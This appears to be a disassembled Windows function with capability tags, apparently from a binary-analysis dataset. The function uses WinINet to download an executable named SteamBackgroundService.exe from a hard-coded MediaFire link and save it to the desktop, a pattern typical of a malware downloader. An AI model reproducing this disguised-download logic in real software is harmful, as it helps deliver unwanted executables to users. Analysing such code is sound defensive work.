Function at 0x140001ec0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x490]
sub rsp, 0x590
mov rax, qword [0x140032080]
xor rax, rsp
mov qword [rbp + 0x480], rax
xor ebx, ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 1]
lea rcx, str.MyApp
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
test rax, rax
je 0x1400020c3
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x400100
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__www.mediafire.com_file_sthlf5xu1uais3z_SteamBackgroundService.exe
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x14000207e
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x70]
call fcn.1400084c0
lea rcx, [rsp + 0x70]
call fcn.140003180
nop
lea r9, [rsp + 0x68]
mov r8d, 0x400
lea rdx, [rbp + 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001fbb
nop
mov eax, dword [rsp + 0x68]
test eax, eax
je 0x140001fbb
mov r8d, eax
lea rdx, [rbp + 0x80]
lea rcx, [rsp + 0x70]
call fcn.140003490
lea r9, [rsp + 0x68]
mov r8d, 0x400
lea rdx, [rbp + 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001f80
lea rcx, [rsp + 0x78]
call fcn.140003c50
test rax, rax
jne 0x140001ffd
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx - 0x48], 0
cmovne eax, edx
or eax, dword [rbp + rcx - 0x80]
and eax, 0x17
mov dword [rbp + rcx - 0x80], eax
mov edx, dword [rbp + rcx - 0x7c]
and edx, eax
jne 0x14000215d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.140002ec0
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x6c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x18], rax
lea rcx, [rbp + 0x18]
call fcn.1400056c8
nop
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400020fd
lea rdx, str.Failed_to_open_URL.
lea rcx, [0x1400334e0]
call fcn.140004430
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.1400042a0
movzx edx, al
mov rcx, rbx
call fcn.140004dc0
mov rcx, rbx
call fcn.140004090
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400020fd
lea rdx, str.Failed_to_initialize_WinINet.
lea rcx, [0x1400334e0]
call fcn.140004430
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.1400042a0
movzx edx, al
mov rcx, rbx
call fcn.140004dc0
mov rcx, rbx
call fcn.140004090
lea rdx, str.File_downloaded_successfully_to_your_desktop_
lea rcx, [0x140033360]
call fcn.140004430
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.1400042a0
movzx edx, al
mov rcx, rbx
call fcn.140004dc0
mov rcx, rbx
call fcn.140004090
xor eax, eax
mov rcx, qword [rbp + 0x480]
xor rcx, rsp
call fcn.140005f50
lea r11, [rsp + 0x590]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
test dl, 4
je 0x14000216b
lea rbx, str.ios_base::badbit_set
jmp 0x140002180
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.1400014a0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140001d60
lea rdx, [0x1400311f8]
lea rcx, [rsp + 0x40]
call fcn.140007d24
int3